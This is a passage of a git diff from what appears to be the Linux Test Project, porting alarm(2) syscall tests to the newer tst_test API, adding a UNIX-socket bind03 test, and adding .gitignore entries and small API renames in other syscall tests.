+#include <unistd.h>
 #include <errno.h>
 #include <sys/signal.h>
 #include <limits.h>
-#include "test.h"
 
-void setup(void);
-void cleanup(void);
-void alarm_received(int sig);
+#include "tst_test.h"
 
-char *TCID = "alarm02";
-int TST_TOTAL = 3;
+static volatile int alarms_received;
 
-int received_alarm = 0;		/* Indicates a SIGALRM was received */
+static struct tcase {
+	char *str;
+	unsigned int sec;
+} tcases[] = {
+	{"INT_MAX", INT_MAX},
+	{"UINT_MAX/2", UINT_MAX/2},
+	{"UINT_MAX/4", UINT_MAX/4},
+};
 
-int main(int ac, char **av)
+static void verify_alarm(unsigned int n)
 {
+	struct tcase *tc = &tcases[n];
+	unsigned int ret;
 
-	/* Parameters for usc code  */
-	int lc;
+	alarms_received = 0;
 
-	/* Parameters for alarm test */
-	char *buf[] = { "-1", "ULONG_MAX", "ULONG_MAX+1" };
-	unsigned long int sec[] = { -1, ULONG_MAX, ULONG_MAX + 1 };
-	int exp[] = { 0, 0, 0 };
-	int i;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++) {
-
-			received_alarm = 0;
-			signal(SIGALRM, alarm_received);
-
-			TEST(alarm(sec[i]));
-			alarm(0);
-			if (TEST_RETURN != 0) {
-				tst_resm(TFAIL,
-					 "alarm(%lu) returned %ld, when %u was "
-					 "expected for value %s",
-					 sec[i], TEST_RETURN, exp[i], buf[i]);
-			} else {
-				if (received_alarm == 1) {
-					tst_resm(TFAIL,
-						 "alarm(%lu) returned %ldu but an "
-						 "alarm signal was received for "
-						 "value %s",
-						 sec[i], TEST_RETURN, buf[i]);
-				} else {
-					tst_resm(TPASS,
-						 "alarm(%lu) returned %ld as "
-						 "expected for value %s",
-						 sec[i], TEST_RETURN, buf[i]);
-				}
-
-			}
-		}
-		/*
-		 *  Reset alarm before cleanup.
-		 */
-
-		alarm(0);
-
+	ret = alarm(tc->sec);
+	if (ret != 0) {
+		tst_res(TFAIL,
+			"alarm(%u) returned %ld, when 0 was ",
+			tc->sec, TST_RET);
+		return;
 	}
 
-	cleanup();
-	tst_exit();
+	TEST(alarm(0));
+	if (alarms_received == 1) {
+		tst_res(TFAIL,
+			"alarm(%u) signal was received for value %s",
+			tc->sec, tc->str);
+			return;
+	}
+
+	if (tc->sec != TST_RET) {
+		tst_res(TFAIL,
+			"alarm(%u) returned %ld as unexpected",
+			tc->sec, TST_RET);
+			return;
+	}
+
+	tst_res(TPASS,
+		"alarm(%u) returned %ld as expected "
+		"for value %s",
+		tc->sec, TST_RET, tc->str);
 }
 
-void setup(void)
+static void sighandler(int sig)
 {
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
+	if (sig == SIGALRM)
+		alarms_received++;
 }
 
-void cleanup(void)
+static void setup(void)
 {
+	SAFE_SIGNAL(SIGALRM, sighandler);
 }
 
-void alarm_received(int sig)
-{
-	received_alarm = 1;
-}
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = verify_alarm,
+	.setup = setup,
+};
diff --git a/testcases/kernel/syscalls/alarm/alarm03.c b/testcases/kernel/syscalls/alarm/alarm03.c
index 60141f1..c034182 100644
--- a/testcases/kernel/syscalls/alarm/alarm03.c
+++ b/testcases/kernel/syscalls/alarm/alarm03.c
@@ -1,193 +1,57 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
+ * Author: Richard Logan
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
+ * Test Description:
+ *  The process does a fork:
+ *	1) By the value returned by child's alarm(0), check whether child
+ *	   process cleared the previously specified alarm request or not.
+ *	2) By the value returned by parent's alarm(0), check whether parent
+ *	   process cleared the previously specified alarm request or not.
  */
-/* $Id: alarm03.c,v 1.10 2009/08/28 10:57:29 vapier Exp $ */
-/**********************************************************
- *
- *    OS Test - Silicon Graphics, Inc.
- *
- *    TEST IDENTIFIER	: alarm03
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: alarm(2) cleared by a fork
- *
- *    PARENT DOCUMENT	: usctpl01
- *
- *    TEST CASE TOTAL	: 1
- *
- *    WALL CLOCK TIME	: 1
- *
- *    CPU TYPES		: ALL
- *
- *    AUTHOR		: Richard Logan
- *
- *    CO-PILOT		: Dennis Arason
- *
- *    DATE STARTED	: 08/96
- *
- *
- *    TEST CASES
- *
- * 	1.) alarm(100), fork, child's alarm(0) shall return 0;
- *	2.) alarm(100), fork, parent's alarm(0) shall return non-zero.
- *
- *    INPUT SPECIFICATIONS
- * 	The standard options for system call tests are accepted.
- *	(See the parse_opts(3) man page).
- *
- *
- *    SPECIAL PROCEDURAL REQUIREMENTS
- * 	None
- *
- *
- *    DETAILED DESCRIPTION
- *	This is a Phase I test for the alarm(2) system call.  It is intended
- *	to provide a limited exposure of the system call, for now.  It
- *	should/will be extended when full functional tests are written for
- *	alarm(2).
- *
- * 	Setup:
- * 	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- * 	Test:
- *	 Loop if the proper options are given.
- * 	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *		Log the errno and Issue a FAIL message.
- *	  Otherwise, Issue a PASS message.
- *
- * 	Cleanup:
- * 	  Print errno log and/or timing stats if options given
- *
- *
- *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
 
 #include <errno.h>
-#include <string.h>
 #include <signal.h>
 #include <stdlib.h>
-#include <sys/wait.h>
-#include "test.h"
-#include "safe_macros.h"
+#include <unistd.h>
 
-void setup();
-void cleanup();
-void trapper();
+#include "tst_test.h"
 
-char *TCID = "alarm03";
-int TST_TOTAL = 1;
-
-int main(int ac, char **av)
+static void verify_alarm(void)
 {
-	int lc;
-	int status, retval = 0;
+	pid_t pid;
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	TEST(alarm(100));
 
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * Call alarm(2)
-		 */
-		TEST(alarm(100));
-
-		switch (FORK_OR_VFORK()) {
-		case -1:
-			tst_brkm(TBROK | TERRNO, cleanup, "fork() failed");
-			break;
-
-		case 0:
-			TEST(alarm(0));
-
-			if (TEST_RETURN != 0) {
-				retval = 1;
-				printf("%d: alarm(100), fork, alarm(0) child's "
-				       "alarm returned %ld\n",
-				       getpid(), TEST_RETURN);
-			} else {
-				printf("%d: alarm(100), fork, alarm(0) child's "
-				       "alarm returned %ld\n",
-				       getpid(), TEST_RETURN);
-			}
-
-			exit(retval);
-			break;
-
-		default:
-			tst_count++;
-			TEST(alarm(0));
-/* The timer may be rounded up to the next nearest second, this is OK */
-			if (TEST_RETURN <= 0 || TEST_RETURN > 101) {
-				retval = 1;
-				tst_resm(TFAIL,
-					 "alarm(100), fork, alarm(0) parent's alarm returned %ld",
-					 TEST_RETURN);
-			} else {
-				tst_resm(TPASS,
-					 "alarm(100), fork, alarm(0) parent's alarm returned %ld",
-					 TEST_RETURN);
-			}
-			SAFE_WAIT(cleanup, &status);
-			if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
-				tst_resm(TFAIL, "see failures reported above");
-
+	pid = SAFE_FORK();
+	if (pid == 0) {
+		TEST(alarm(0));
+		if (TST_RET != 0) {
+			tst_res(TFAIL,
+				"alarm(100), fork, alarm(0) child's "
+				"alarm returned %ld", TST_RET);
+		} else {
+			tst_res(TPASS,
+				"alarm(100), fork, alarm(0) child's "
+				"alarm returned %ld", TST_RET);
 		}
-
+		exit(0);
 	}
 
-	cleanup();
-	tst_exit();
+	TEST(alarm(0));
+	if (TST_RET != 100) {
+		tst_res(TFAIL,
+			"alarm(100), fork, alarm(0) parent's "
+			"alarm returned %ld", TST_RET);
+	} else {
+		tst_res(TPASS,
+			"alarm(100), fork, alarm(0) parent's "
+			"alarm returned %ld", TST_RET);
+	}
 }
 
-void setup(void)
-{
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	signal(SIGALRM, trapper);
-
-	TEST_PAUSE;
-}
-
-void cleanup(void)
-{
-}
-
-void trapper(int sig)
-{
-	signal(SIGALRM, trapper);
-}
+static struct tst_test test = {
+	.test_all = verify_alarm,
+	.forks_child = 1,
+};
diff --git a/testcases/kernel/syscalls/alarm/alarm05.c b/testcases/kernel/syscalls/alarm/alarm05.c
index 1e93d25..acb43c9 100644
--- a/testcases/kernel/syscalls/alarm/alarm05.c
+++ b/testcases/kernel/syscalls/alarm/alarm05.c
@@ -1,203 +1,77 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001,2005
+ *	07/2001 Ported by Wayne Boyer
+ *	06/2005 Test for alarm cleanup by Amos Waterland
  *
- *   Copyright (c) International Business Machines  Corp., 2001,2005
+ * Copyright (c) 2018 Cyril Hrubis <chrubis@suse.cz>
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program;  if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  */
 
 /*
- * Test Name: alarm05
- *
  * Test Description:
- *  Check the functionality of the Alarm system call when the time input
- *  parameter is non zero.
- *
- * Expected Result:
  *  The return value of the alarm system call should be equal to the
  *  amount previously remaining in the alarm clock.
  *  A SIGALRM signal should be received after the specified amount of
  *  time has elapsed.
- *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Pause for SIGUSR1 if option specified.
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *   	Log the errno and Issue a FAIL message.
- *   Otherwise,
- *   	Verify the Functionality of system call
- *      if successful,
- *      	Issue Functionality-Pass message.
- *      Otherwise,
- *		Issue Functionality-Fail message.
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
- *
- * Usage:  <for command-line>
- *  alarm05 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	06/2005 Test for alarm cleanup by Amos Waterland
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS:
- *  None.
  */
 
-#include <stdio.h>
-#include <unistd.h>
-#include <sys/types.h>
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
+#include "tst_test.h"
 
-#include "test.h"
+static volatile int alarms_fired = 0;
 
-char *TCID = "alarm05";
-int TST_TOTAL = 1;
-int alarms_received = 0;	/* flag to indicate SIGALRM received or not */
-
-void setup();			/* Main setup function of test */
-void cleanup();			/* cleanup function for the test */
-void sigproc(int sig);		/* signal catching function */
-
-int main(int ac, char **av)
+static void run(void)
 {
-	int lc;
-	int time_sec1 = 10;	/* time for which 1st alarm is set */
-	int time_sec2 = 5;	/* time for which 2st alarm is set */
-	int ret_val1, ret_val2;	/* return values for alarm() calls */
-	int ret_val3;
-	int sleep_time1 = 3;	/* waiting time for the signal */
-	int sleep_time2 = 6;	/* waiting time for the signal */
+	unsigned int ret;
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	alarms_fired = 0;
 
-	setup();
+	ret = alarm(10);
+	if (ret)
+		tst_res(TFAIL, "alarm() returned non-zero");
+	else
+		tst_res(TPASS, "alarm() returned zero");
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
+	sleep(1);
 
-		tst_count = 0;
+	ret = alarm(1);
+	if (ret == 9)
+		tst_res(TPASS, "alarm() returned remainder correctly");
+	else
+		tst_res(TFAIL, "alarm() returned wrong remained %u", ret);
 
-		/*
-		 * Reset alarms_received for every iteration, since it has
-		 * old values from previous iterations (if any) and not
-		 * a value of zero
-		 */
-		alarms_received = 0;
+	sleep(2);
 
-		/*
-		 * Call First alarm() with non-zero time parameter
-		 * 'time_sec1' to send SIGALRM to the calling process.
-		 */
-		TEST(alarm(time_sec1));
-		ret_val1 = TEST_RETURN;
-
-		/* Wait for signal SIGALARM */
-		sleep(sleep_time1);
-
-		/*
-		 * Call Second alarm() with non-zero time parameter
-		 * 'time_sec2' to send SIGALRM to the calling process.
-		 */
-		TEST(alarm(time_sec2));
-		ret_val2 = TEST_RETURN;
-
-		/* Wait for signal SIGALRM */
-		sleep(sleep_time2);
-
-		/*
-		 * Check whether the second alarm() call returned
-		 * the amount of time previously remaining in the
-		 * alarm clock of the calling process, and
-		 * sigproc() executed when SIGALRM received by the
-		 * process, the variable alarms_received is set.
-		 */
-		if ((alarms_received == 1) &&
-		    (ret_val2 == (time_sec1 - sleep_time1))) {
-
-			/*
-			 *  Make sure the system cleaned up the alarm
-			 *  after it delivered it.
-			 */
-			TEST(alarm(0));
-			ret_val3 = TEST_RETURN;
-
-			if (ret_val3 != 0)
-				tst_resm(TFAIL, "System did not "
-					 "clean up delivered " "alarm");
-			else {
-				tst_resm(TPASS, "Functionality of "
-					 "alarm(%u) successful",
-					 time_sec2);
-			}
-		} else {
-			tst_resm(TFAIL, "alarm(%u) fails, returned %d, "
-				 "alarms_received:%d",
-				 time_sec2, ret_val2, alarms_received);
-		}
-	}
-
-	cleanup();
-	tst_exit();
+	if (alarms_fired == 1)
+		tst_res(TPASS, "alarm handler fired once");
+	else
+		tst_res(TFAIL, "alarm handler filred %u times", alarms_fired);
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- *  Setup the signal handler to catch SIGALRM.
- */
-void setup(void)
+static void sighandler(int sig)
 {
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* Set the signal catching function */
-	if (signal(SIGALRM, sigproc) == SIG_ERR) {
-		tst_brkm(TFAIL, cleanup,
-			 "signal() fails to catch SIGALARM, errno=%d", errno);
-	}
+	if (sig == SIGALRM)
+		alarms_fired++;
 }
 
-/*
- * sigproc(int) - This function defines the action that has to be taken
- *	          when the SIGALRM signal is caught.
- *   It also sets the variable which is used to check whether the
- *   alarm system call was successful.
- */
-void sigproc(int sig)
+static void setup(void)
 {
-	alarms_received++;
+	SAFE_SIGNAL(SIGALRM, sighandler);
 }
 
-/*
- * void
- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- */
-void cleanup(void)
-{
-}
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+};
diff --git a/testcases/kernel/syscalls/alarm/alarm07.c b/testcases/kernel/syscalls/alarm/alarm07.c
index 5f4d6e4..47c30dc 100644
--- a/testcases/kernel/syscalls/alarm/alarm07.c
+++ b/testcases/kernel/syscalls/alarm/alarm07.c
@@ -1,171 +1,60 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * Test Name: alarm07
+ * Copyright (c) International Business Machines  Corp., 2001
+ * Author: Wayne Boyer
  *
  * Test Description:
- *  Check the functionality of the alarm() when the time input
- *  parameter is non-zero and the process does a fork.
- *
- * Expected Result:
- *  The alarm request should be cleared in the child process.
- *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Pause for SIGUSR1 if option specified.
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *   	Log the errno and Issue a FAIL message.
- *   Otherwise,
- *   	Verify the Functionality of system call
- *      if successful,
- *      	Issue Functionality-Pass message.
- *      Otherwise,
- *		Issue Functionality-Fail message.
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
- *
- * Usage:  <for command-line>
- *  alarm07 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS:
- *  None.
+ *  By the SIGALRM signal, check whether the previously specified alarm request
+ *  was cleared in the child process or not.
  */
 
-#include <stdio.h>
 #include <unistd.h>
-#include <sys/types.h>
+#include <stdlib.h>
 #include <errno.h>
-#include <string.h>
 #include <signal.h>
-#include <sys/wait.h>
 
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
 
-char *TCID = "alarm07";
-int TST_TOTAL = 1;
-int alarms_received = 0;
+static volatile int alarm_cnt = 0;
 
-void setup();
-void cleanup();
-void sigproc(int sig);
-
-int main(int ac, char **av)
+static void verify_alarm(void)
 {
-	int lc;
-	int sleep_time = 5;
-	int status;
-	int time_sec = 3;
-	pid_t cpid;
+	pid_t pid;
+	alarm_cnt = 0;
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	TEST(alarm(1));
+	pid = SAFE_FORK();
 
-	setup();
+	sleep(3);
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * Call First alarm() with non-zero time parameter
-		 * 'time_sec' to send SIGALRM to the process.
-		 */
-		TEST(alarm(time_sec));
-
-		/* Now, fork a child process */
-		cpid = FORK_OR_VFORK();
-		if (cpid < 0) {
-			tst_resm(TFAIL | TERRNO, "fork() failed");
-		}
-
-		sleep(sleep_time);
-
-		if (cpid == 0) {
-			if (alarms_received == 0)
-				exit(0);
-			else {
-				printf("alarm request not cleared in "
-				       "child; alarms received:%d\n",
-				       alarms_received);
-				exit(1);
-			}
+	if (pid == 0) {
+		if (alarm_cnt == 0) {
+			tst_res(TPASS, "alarm() request cleared in child");
 		} else {
-			/* Wait for child to complete execution */
-			SAFE_WAIT(cleanup, &status);
-			if (!WIFEXITED(status) ||
-			    WEXITSTATUS(status) != 0)
-				tst_brkm(TBROK | TERRNO, cleanup,
-					 "child exited abnormally");
+			tst_res(TFAIL, "alarm() request not cleared in "
+				"child; alarms received:%d", alarm_cnt);
 		}
+		exit(0);
 	}
 
-	cleanup();
-	tst_exit();
+	if (alarm_cnt != 1)
+		tst_res(TFAIL, "Sigalarms in parent %i, expected 1", alarm_cnt);
+	else
+		tst_res(TPASS, "Got 1 sigalarm in parent");
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- *  Setup signal handler to catch SIGALRM signal.
- */
-void setup(void)
+static void sighandler(int sig LTP_ATTRIBUTE_UNUSED)
 {
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* Set the signal catching function */
-	if (signal(SIGALRM, sigproc) == SIG_ERR) {
-		tst_brkm(TFAIL | TERRNO, cleanup, "signal(SIGALRM, ..) failed");
-	}
+	alarm_cnt++;
 }
 
-/*
- * sigproc(int) - This function defines the action that has to be taken
- *	          when the SIGALRM signal is caught.
- *   It also sets the variable which is used to check whether the
- *   alarm system call was successful.
- */
-void sigproc(int sig)
+static void setup(void)
 {
-	alarms_received++;
+	SAFE_SIGNAL(SIGALRM, sighandler);
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- */
-void cleanup(void)
-{
-}
+static struct tst_test test = {
+	.test_all = verify_alarm,
+	.setup = setup,
+	.forks_child = 1,
+};
diff --git a/testcases/kernel/syscalls/asyncio/.gitignore b/testcases/kernel/syscalls/asyncio/.gitignore
new file mode 100644
index 0000000..35f65a6
--- /dev/null
+++ b/testcases/kernel/syscalls/asyncio/.gitignore
@@ -0,0 +1 @@
+/asyncio02
diff --git a/testcases/kernel/syscalls/bdflush/.gitignore b/testcases/kernel/syscalls/bdflush/.gitignore
new file mode 100644
index 0000000..54601ec
--- /dev/null
+++ b/testcases/kernel/syscalls/bdflush/.gitignore
@@ -0,0 +1 @@
+/bdflush01
diff --git a/testcases/kernel/syscalls/bind/.gitignore b/testcases/kernel/syscalls/bind/.gitignore
new file mode 100644
index 0000000..4ebea9e
--- /dev/null
+++ b/testcases/kernel/syscalls/bind/.gitignore
@@ -0,0 +1,3 @@
+/bind01
+/bind02
+/bind03
diff --git a/testcases/kernel/syscalls/bind/bind03.c b/testcases/kernel/syscalls/bind/bind03.c
new file mode 100644
index 0000000..dda5ca3
--- /dev/null
+++ b/testcases/kernel/syscalls/bind/bind03.c
@@ -0,0 +1,95 @@
+/*
+ * Copyright (c) 2018 Michael Moese <mmoese@suse.com>
+ *
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+/* The commit 0fb44559ffd6  af_unix: move unix_mknod() out of bindlock
+ * changed the behavior of bind() for STREAM UNIX domain sockets if
+ */
+
+#include <errno.h>
+#include <limits.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+#include "tst_kvercmp.h"
+#include "tst_test.h"
+#include "tst_safe_net.h"
+
+#define SNAME_A "socket.1"
+#define SNAME_B "socket.2"
+
+static int sock1, sock2;
+
+void run(void)
+{
+	struct sockaddr_un sun1;
+	struct sockaddr_un sun2;
+
+	sock1 = SAFE_SOCKET(PF_UNIX, SOCK_STREAM, 0);
+
+	memset(&sun1, 0, sizeof(sun1));
+	memset(&sun2, 0, sizeof(sun2));
+
+	sun1.sun_family = AF_UNIX;
+	sun2.sun_family = AF_UNIX;
+
+	if (sprintf(sun1.sun_path, "%s", SNAME_A) < (int) strlen(SNAME_A)) {
+		tst_res(TFAIL, "sprintf failed");
+		return;
+	}
+
+	if (sprintf(sun2.sun_path, "%s", SNAME_B) < (int) strlen(SNAME_B)) {
+		tst_res(TFAIL, "sprintf failed");
+		return;
+	}
+
+	SAFE_BIND(sock1, (struct sockaddr *)&sun1, sizeof(sun1));
+
+	/*
+	 * Once a STREAM UNIX domain socket has been bound, it can't be
+	 * rebound.
+	 */
+	if (bind(sock1, (struct sockaddr *)&sun2, sizeof(sun2)) == 0) {
+		tst_res(TFAIL, "re-binding of socket succeeded");
+		return;
+	}
+
+	if (errno != EINVAL) {
+		tst_res(TFAIL | TERRNO, "expected EINVAL");
+		return;
+	}
+
+	tst_res(TPASS, "bind() failed with EINVAL as expected");
+
+	sock2 = SAFE_SOCKET(PF_UNIX, SOCK_STREAM, 0);
+
+	/*
+	 * Since a socket is already bound to the pathname, it can't be bound
+	 * to a second socket. Expected error is EADDRINUSE.
+	 */
+	if (bind(sock2, (struct sockaddr *)&sun1, sizeof(sun1)) == 0) {
+		tst_res(TFAIL, "bind() succeeded with already bound pathname!");
+		return;
+	}
+
+	if (errno != EADDRINUSE) {
+		tst_res(TFAIL | TERRNO, "expected to fail with EADDRINUSE");
+		return;
+	}
+
+	tst_res(TPASS, "bind() failed with EADDRINUSE as expected");
+}
+
+static void cleanup(void)
+{
+	close(sock1);
+	close(sock2);
+}
+
+static struct tst_test test = {
+	.cleanup = cleanup,
+	.test_all = run,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/brk/.gitignore b/testcases/kernel/syscalls/brk/.gitignore
new file mode 100644
index 0000000..b16ea36
--- /dev/null
+++ b/testcases/kernel/syscalls/brk/.gitignore
@@ -0,0 +1 @@
+/brk01
diff --git a/testcases/kernel/syscalls/brk/brk01.c b/testcases/kernel/syscalls/brk/brk01.c
index c95fd0d..aee340e 100644
--- a/testcases/kernel/syscalls/brk/brk01.c
+++ b/testcases/kernel/syscalls/brk/brk01.c
@@ -45,7 +45,7 @@
 
 		TEST(brk((void *)new_brk));
 
-		if (TEST_RETURN == -1) {
+		if (TST_RET == -1) {
 			tst_res(TFAIL | TERRNO, "brk() failed");
 			return;
 		}
diff --git a/testcases/kernel/syscalls/cacheflush/.gitignore b/testcases/kernel/syscalls/cacheflush/.gitignore
new file mode 100644
index 0000000..3380ed9
--- /dev/null
+++ b/testcases/kernel/syscalls/cacheflush/.gitignore
@@ -0,0 +1 @@
+/cacheflush01
diff --git a/testcases/kernel/syscalls/capget/.gitignore b/testcases/kernel/syscalls/capget/.gitignore
new file mode 100644
index 0000000..8495246
--- /dev/null
+++ b/testcases/kernel/syscalls/capget/.gitignore
@@ -0,0 +1,2 @@
+/capget01
+/capget02
diff --git a/testcases/kernel/syscalls/capset/.gitignore b/testcases/kernel/syscalls/capset/.gitignore
new file mode 100644
index 0000000..004ce7b
--- /dev/null
+++ b/testcases/kernel/syscalls/capset/.gitignore
@@ -0,0 +1,2 @@
+/capset01
+/capset02
diff --git a/testcases/kernel/syscalls/chdir/.gitignore b/testcases/kernel/syscalls/chdir/.gitignore
new file mode 100644
index 0000000..c1e4b9d
--- /dev/null
+++ b/testcases/kernel/syscalls/chdir/.gitignore
@@ -0,0 +1,4 @@
+/chdir01
+/chdir02
+/chdir03
+/chdir04
diff --git a/testcases/kernel/syscalls/chdir/chdir03.c b/testcases/kernel/syscalls/chdir/chdir03.c
index 1292466..d5f3819 100644
--- a/testcases/kernel/syscalls/chdir/chdir03.c
+++ b/testcases/kernel/syscalls/chdir/chdir03.c
@@ -47,12 +47,12 @@
 
 		TEST(chdir(DIRNAME));
 
-		if (TEST_RETURN != -1) {
+		if (TST_RET != -1) {
 			tst_res(TFAIL, "chdir() succeeded unexpectedly");
 			return;
 		}
 
-		if (TEST_ERRNO != EACCES) {
+		if (TST_ERR != EACCES) {
 			tst_res(TFAIL | TTERRNO,
 				"chdir() should fail with EACCES");
 			return;
diff --git a/testcases/kernel/syscalls/chmod/.gitignore b/testcases/kernel/syscalls/chmod/.gitignore
new file mode 100644
index 0000000..4e856df4
--- /dev/null
+++ b/testcases/kernel/syscalls/chmod/.gitignore
@@ -0,0 +1,7 @@
+/chmod01
+/chmod02
+/chmod03
+/chmod04
+/chmod05
+/chmod06
+/chmod07
diff --git a/testcases/kernel/syscalls/chmod/chmod05.c b/testcases/kernel/syscalls/chmod/chmod05.c
index 6bcc247..6a6a0ae 100644
--- a/testcases/kernel/syscalls/chmod/chmod05.c
+++ b/testcases/kernel/syscalls/chmod/chmod05.c
@@ -1,30 +1,12 @@
+/// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
  *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  */
 
 /*
  * Test Name: chmod05
  *
  * Test Description:
-//wjh
-//This test seems to be invalid see comments below
-//The man page for chmod doesn't seem to indicate that the setgid bit can
-//only be set by root
  *  Verify that, chmod(2) will succeed to change the mode of a directory
  *  but fails to set the setgid bit on it if invoked by non-root (uid != 0)
  *  process with the following constraints,
@@ -36,52 +18,10 @@
  *  chmod() should return value 0 on success and though succeeds to change
  *  the mode of a directory but fails to set setgid bit on it.
  *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Create temporary directory.
- *   Pause for SIGUSR1 if option specified.
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
